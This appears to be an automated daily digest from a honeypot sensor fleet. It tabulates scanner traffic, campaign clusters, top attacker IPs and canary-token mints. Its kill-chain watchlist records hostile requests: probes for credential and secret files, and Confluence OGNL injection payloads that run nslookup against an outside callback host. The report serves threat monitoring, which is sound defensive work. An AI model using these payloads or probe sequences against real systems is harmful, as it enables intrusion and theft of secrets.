flux fleet digest — 2026-09-03 07:32 UTC
Fleet overview (last 24h vs 7-day baseline)
| sensor | events | uniq IPs | 7d avg events | 7d avg uniq | events delta |
|---|---|---|---|---|---|
| canary-farm-1 | 5875 | 144 | 5086 | 155 | +16% |
| ai-devbox-1 | 5433 | 133 | 4402 | 154 | +23% |
| control-1 | 2361 | 105 | 9756 | 82 | -76% |
Result-tag spikes (campaign candidates)
| sensor | result | 24h | 7d avg | ratio |
|---|---|---|---|---|
| ai-devbox-1 | aws-credentials-file-error | 28 | 8.0 | 3.5x |
| ai-devbox-1 | docker-registry-manifest | 90 | 23.0 | 3.9x |
| ai-devbox-1 | docker-registry-tags | 90 | 23.0 | 3.9x |
| ai-devbox-1 | ds-store | 21 | 6.4 | 3.3x |
| ai-devbox-1 | fake-git | 185 | 46.8 | 4.0x |
| ai-devbox-1 | graphql-introspection | 39 | 9.8 | 4.0x |
| ai-devbox-1 | server-status-html | 21 | 5.6 | 3.8x |
| ai-devbox-1 | sftp-config-error | 22 | 6.4 | 3.4x |
| ai-devbox-1 | whm-login | 42 | 12.8 | 3.3x |
| canary-farm-1 | docker-registry-manifest | 90 | 26.0 | 3.5x |
| canary-farm-1 | docker-registry-tags | 90 | 26.0 | 3.5x |
| canary-farm-1 | fake-git | 175 | 30.4 | 5.8x |
| canary-farm-1 | graphql-introspection | 36 | 11.6 | 3.1x |
| canary-farm-1 | wp-user-enum-rest-list | 20 | 5.8 | 3.4x |
| control-1 | fake-git | 57 | 16.2 | 3.5x |
Campaign clusters (24h, journey-fingerprinted)
| signature | IPs | events | sensors | first seen | sample journey (6 steps) |
|---|---|---|---|---|---|
| 3e1c5eb879e7 ⟳ | 45 | 315 | ai-devbox-1,canary-farm-1,control-1 ⚠FLEET-WIDE | 08-29 | / [tarpit-module] → / [tarpit] → / [tarpit-disconnect] |
| 850993125b15 ⟳ | 10 | 492 | canary-farm-1 | 08-29 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → … |
| 76d212a95300 | 9 | 351 | ai-devbox-1 | 09-03 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → … |
| e6e6f15a77e8 | 7 | 21 | canary-farm-1 | 09-03 | /wp-login.php [wp-login-probe] → /wp-login.php [wp-login-credentials] → /wp-login.php [wp-login-probe] |
| c540fc530a5a | 6 | 234 | canary-farm-1 | 09-03 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → … |
| 7e61a9500d8b ⟳ | 5 | 245 | ai-devbox-1,control-1 ⚠FLEET-WIDE | 08-29 | /bin/sh [cgi-traversal-rce-command] → /bin/sh [cmd-injection-apache-cgi-shell] → /hello.world [cmd-injection-php-cgi-rce] → / [cmd-injection-php-cgi-rce] → /index.php [cmd-injection-php-cgi-rce] → /te |
| 4b4cc0ece037 ⟳ | 5 | 35 | ai-devbox-1,control-1 ⚠FLEET-WIDE | 08-30 | / [tarpit-module] → / [tarpit-disconnect] → / [tarpit] |
| b07c7bb207b4 ⟳ | 5 | 205 | ai-devbox-1 | 08-29 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → … |
Signature = SHA-256 of the ordered path[result] sequence (≤40 steps). Same signature across IPs = one tooling campaign; IPs rotate, signatures persist.
First-seen in this window
New paths:
| sensor | path | first seen |
|---|---|---|
| canary-farm-1 | /z5lb7ogxrqvhx36nxt | 2026-09-03 03:31:32.191418-04:00 |
| ai-devbox-1 | /mysql-admin/index.php | 2026-09-03 03:15:34.416853-04:00 |
| ai-devbox-1 | /env.save.bak | 2026-09-03 03:15:34.416853-04:00 |
| ai-devbox-1 | /php_profiler/ | 2026-09-03 03:15:34.416853-04:00 |
| ai-devbox-1 | /config/debug.php | 2026-09-03 03:15:34.416853-04:00 |
| ai-devbox-1 | /keys.env | 2026-09-03 03:15:34.416853-04:00 |
| ai-devbox-1 | /.aws/secret_credentials.json | 2026-09-03 03:15:34.416853-04:00 |
| ai-devbox-1 | /.aws/.hidden_config | 2026-09-03 03:15:34.416853-04:00 |
| ai-devbox-1 | /aws/.smtp_config.bak | 2026-09-03 03:15:34.416853-04:00 |
| ai-devbox-1 | /aws-keys.txt | 2026-09-03 03:15:34.416853-04:00 |
| ai-devbox-1 | /aws/.hidden/smtp.json | 2026-09-03 03:15:34.416853-04:00 |
| ai-devbox-1 | /api/auth/session | 2026-09-03 03:15:34.416853-04:00 |
| ai-devbox-1 | /functions/v1/ | 2026-09-03 03:15:34.416853-04:00 |
| ai-devbox-1 | /tree | 2026-09-03 03:15:34.416853-04:00 |
| canary-farm-1 | /manager/html | 2026-09-03 03:15:34.416853-04:00 |
| canary-farm-1 | /lib/.git/config | 2026-09-03 03:15:34.416853-04:00 |
| canary-farm-1 | /config/.git/config | 2026-09-03 03:15:34.416853-04:00 |
| canary-farm-1 | /portal/.git/config | 2026-09-03 03:15:34.416853-04:00 |
| canary-farm-1 | /v2/.git/config | 2026-09-03 03:15:34.416853-04:00 |
| canary-farm-1 | /cms/.git/config | 2026-09-03 03:15:34.416853-04:00 |
New user agents:
| sensor | user agent | first seen |
|---|---|---|
| ai-devbox-1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/ | 2026-09-03 03:31:33.903608-04:00 |
| canary-farm-1 | Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.no | 2026-09-03 03:31:33.903608-04:00 |
| canary-farm-1 | Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like | 2026-09-03 03:15:34.470752-04:00 |
| ai-devbox-1 | Mozilla/5.0 (Windows NT 10.0; rv:149.14) Gecko/20100101 Fire | 2026-09-03 03:15:34.470752-04:00 |
| ai-devbox-1 | Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 | 2026-09-03 03:15:34.470752-04:00 |
| ai-devbox-1 | Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) Apple | 2026-09-03 03:15:34.470752-04:00 |
| ai-devbox-1 | Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) Apple | 2026-09-03 03:15:34.470752-04:00 |
| ai-devbox-1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 15_0) AppleWebKit/605 | 2026-09-03 03:15:34.470752-04:00 |
| ai-devbox-1 | Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) Apple | 2026-09-03 03:15:34.470752-04:00 |
| ai-devbox-1 | WanScannerBot/1.0 | 2026-09-03 03:15:34.470752-04:00 |
Top talkers (24h)
| sensor | IP | events | trap fams | paths | first | last | blocklist | ASN org | cc | POSTed |
|---|---|---|---|---|---|---|---|---|---|---|
| canary-farm-1 | 94.154.46.249 | 2100 | 107 | 1042 | 09-02 13:07 | 09-02 13:08 | - | Omegatech LTD | US | 0 |
| canary-farm-1 | 185.19.40.40 | 2014 | 5 | 5 | 09-02 05:16 | 09-02 18:26 | - | 1337 Services GmbH | NL | 2000 |
| ai-devbox-1 | 94.154.46.248 | 1390 | 93 | 743 | 09-02 12:43 | 09-02 12:43 | - | Omegatech LTD | US | 0 |
| ai-devbox-1 | 49.43.3.194 | 1308 | 4 | 1305 | 09-02 06:54 | 09-02 13:56 | - | Reliance Jio Infocomm Limite | IN | 0 |
| control-1 | 204.76.203.18 | 1215 | 2 | 560 | 09-02 03:33 | 09-02 18:27 | ipsum:2 | Pfcloud UG (haftungsbeschran | NL | 0 |
| ai-devbox-1 | 130.211.73.106 | 711 | 131 | 533 | 09-02 23:00 | 09-02 23:00 | - | Google LLC | BE | 12 |
| ai-devbox-1 | 185.177.72.66 | 275 | 36 | 182 | 09-03 06:15 | 09-03 06:20 | ipsum:1 | Bucklog SARL | FR | 19 |
| ai-devbox-1 | 23.165.56.117 | 247 | 22 | 55 | 09-02 22:56 | 09-03 03:50 | - | Infocrest Systems LLC | US | 24 |
| control-1 | 213.209.159.148 | 229 | 36 | 178 | 09-03 05:21 | 09-03 05:22 | - | Feo Prest SRL | DE | 0 |
| canary-farm-1 | 23.165.56.117 | 214 | 19 | 42 | 09-03 00:58 | 09-03 05:15 | - | Infocrest Systems LLC | US | 21 |
| control-1 | 185.177.72.53 | 200 | 31 | 137 | 09-03 03:25 | 09-03 03:28 | - | Bucklog SARL | FR | 13 |
| canary-farm-1 | 80.94.95.211 | 171 | 15 | 170 | 09-02 06:18 | 09-02 06:18 | - | SS-Net | RO | 0 |
| control-1 | 192.253.248.173 | 138 | 32 | 96 | 09-02 11:37 | 09-02 11:38 | ipsum:3 | Limited Network LTD | NL | 0 |
| canary-farm-1 | 193.32.204.199 | 100 | 2 | 48 | 09-02 22:44 | 09-03 01:49 | - | Madina IT | TR | 0 |
| control-1 | 80.82.77.202 | 86 | 4 | 3 | 09-02 06:14 | 09-03 06:13 | ipsum:4 firehol2 | IP Volume inc | NL | 0 |
Canary economics (24h)
| sensor | mints | distinct minting IPs |
|---|---|---|
| control-1 | 9 | 5 |
| canary-farm-1 | 28 | 14 |
| ai-devbox-1 | 29 | 16 |
Mint failures (24h): canary-farm-1:400x7; ai-devbox-1:400x24
Mints by type label:
| sensor | types | mints |
|---|---|---|
| ai-devbox-1 | ["aws"] | 29 |
| control-1 | ["aws"] | 9 |
| canary-farm-1 | ["aws"] | 28 |
XFF forgery signals (24h)
- requests with any X-Forwarded-For: 1509
- multi-entry XFF (forged chains — no proxy appends on the direct path): 0
- XFF present but clientIp empty (all-internal forged chains): 0
TLS split + Host census (24h)
| sensor | protocol | events |
|---|---|---|
| ai-devbox-1 | http | 4901 |
| ai-devbox-1 | https | 532 |
| canary-farm-1 | http | 5380 |
| canary-farm-1 | https | 495 |
| control-1 | http | 2361 |
Top Host headers:
| sensor | host | events |
|---|---|---|
| ai-devbox-1 | 217.15.163.226 | 4451 |
| canary-farm-1 | sso.rightabouteverything.show | 2958 |
| canary-farm-1 | 109.123.246.142 | 2901 |
| control-1 | 38.54.2.209 | 2344 |
| ai-devbox-1 | inference.fapthropic.com | 978 |
| canary-farm-1 | vmi3243483.contaboserver.net | 6 |
| control-1 | 192.0.2.1 | 2 |
| canary-farm-1 | 192.0.2.1 | 1 |
| ai-devbox-1 | 192.0.2.1 | 1 |
Control node discovery velocity
- first event ever: 2026-08-28 11:22 UTC (5 days live)
- daily unique-IP ramp (newest first):
| day | events | uniq IPs |
|---|---|---|
| 2026-09-03 | 2361 | 105 |
| 2026-09-02 | 4068 | 105 |
| 2026-09-01 | 15373 | 107 |
| 2026-08-31 | 24100 | 88 |
| 2026-08-30 | 3186 | 70 |
| 2026-08-29 | 2052 | 39 |
Kill-chain watchlist (24h)
| sensor | IP | trap fams | journey (chronological) | ASN org | cc |
|---|---|---|---|---|---|
| ai-devbox-1 | 130.211.73.106 | 131 | / [tarpit-module] → /aws_leak_probe_dc587bde [not-handled] → /.env [issued] → /@fs/proc/1/environ [vite-fs-proc-environ-error] → /api/config [app-config-json-error] → /.env [tracebit-http-error] → /aws/credentials [aws-credentials-file-error] → /@vite/env [vite-env-error] → /app/.env [env-production-error] → /.azure/credentials [azure-credentials-file-error] → /etc/passwd [not-handled] → /.git-credentials [git-credentials-error] | Google LLC | BE |
| canary-farm-1 | 94.154.46.249 | 107 | /.env.template [env-production] → /.env.default [env-production] → /.env_old [env-production] → /.env_dev [env-production] → /docker-compose/.env [env-production] → /.env.prev [env-production] → /.env_backup [env-production] → /.env_prod [env-production] → /html/.env [env-production] → /.env.1 [tarpit-module] → /.env.toml [env-production] → /app/settings.py [app-config-python] | Omegatech LTD | US |
| ai-devbox-1 | 94.154.46.248 | 93 | /wp-config.php.save [wp-config] → /compose/.env [env-production] → /config.js [webapp-config-bundle-js] → /.htpasswd [htpasswd-error] → /.env.yml [env-production] → /config.py [app-config-python] → /docker/compose/withPostgres/.env [tarpit-module] → /wp-config.php [wp-config] → /wp-config.php.bak [wp-config] → /web/.env.local [env-production] → /.env.development.local [env-production] → /client/.env [env-production] | Omegatech LTD | US |
| control-1 | 213.209.159.148 | 36 | /${( [not-handled] → /${@java.lang.Runtime@getRuntime().exec("nslookup da4ghb4upag7j4i9qnqgqz3wwt37mssb7.oast.me")}/ [confluence-ognl-probe] → /.aws/config� [not-handled] → /+CSCOE+/logon.html [cisco-webvpn-logon] → /${@java.lang.Runtime@getRuntime().exec("nslookup da4ghb4upag7j4i9qnqgkscsuimyzt1me.oast.me")}/ [confluence-ognl-probe] → /.aws/credentials [aws-credentials-file] → /.aws/config [aws-config-file] → /.aws/config; [not-handled] → /${@java.lang.Runtime@getRuntime().exec("nslookup da4ghb4upag7j4i9qnqgiuthuggyqaqcy.oast.me")}/ [confluence-ognl-probe] → /.azure/credentials [azure-credentials-file] → /.aws/credentials; [not-handled] → /.azure/credentials; [not-handled] | Feo Prest SRL | DE |
| ai-devbox-1 | 185.177.72.66 | 36 | /wp-json/gravitysmtp/v1/tests/mock-data [gravitysmtp-mock-data] → /aws-credentials.json [aws-credentials-json] → /aws_credentials.json [aws-credentials-json] → /.aws/credentials [aws-credentials-file] → /.aws/config [aws-config-file] → /secrets.json [config-json] → /aws/smtp_config.json [not-handled] → /aws/.env [env-production] → /aws/.env.bak [env-production] → /config/aws.env [aws-env] → /config/aws.json [aws-credentials-json] → /application.yml [application-yml] | Bucklog SARL | FR |
| control-1 | 192.253.248.173 | 32 | /.aws/config [aws-config-file] → /.aws/credentials [aws-credentials-file] → /.env.test [env-production] → /.env.template [env-production] → /.secrets.json [not-handled] → /.htpasswd [htpasswd-error] → /.user.ini [not-handled] → /.terraformrc.hcl [not-handled] → /.env.development [env-production] → /.gitlab-ci.yml [gitlab-ci] → /.secrets [not-handled] → /.pypirc [pypirc-error] | Limited Network LTD | NL |
| control-1 | 185.177.72.53 | 31 | /wp-json/gravitysmtp/v1/tests/mock-data [gravitysmtp-mock-data] → / [tarpit-module] → / [tarpit] → / [tarpit-disconnect] → /.git/config [fake-git] → /backend/.env [env-production] → /.env [issued] → /.aws/credentials [aws-credentials-file] → /info.php [phpinfo] → /error/ [not-handled] → /api/user [not-handled] → /............\var/log/apache2/access.log [not-handled] | Bucklog SARL | FR |
| canary-farm-1 | 167.71.175.236 | 28 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] | DigitalOcean, LLC | US |
| ai-devbox-1 | 138.68.86.32 | 27 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] | DigitalOcean, LLC | DE |
| ai-devbox-1 | 209.38.208.202 | 27 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] | DigitalOcean, LLC | DE |
| ai-devbox-1 | 164.90.228.79 | 27 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] | DigitalOcean, LLC | DE |
| canary-farm-1 | 165.227.39.235 | 27 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] | DigitalOcean, LLC | CA |
| canary-farm-1 | 159.89.12.166 | 27 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] | DigitalOcean, LLC | DE |
| canary-farm-1 | 167.71.81.114 | 27 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] | DigitalOcean, LLC | US |
| ai-devbox-1 | 146.190.242.161 | 27 | / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] | DigitalOcean, LLC | CA |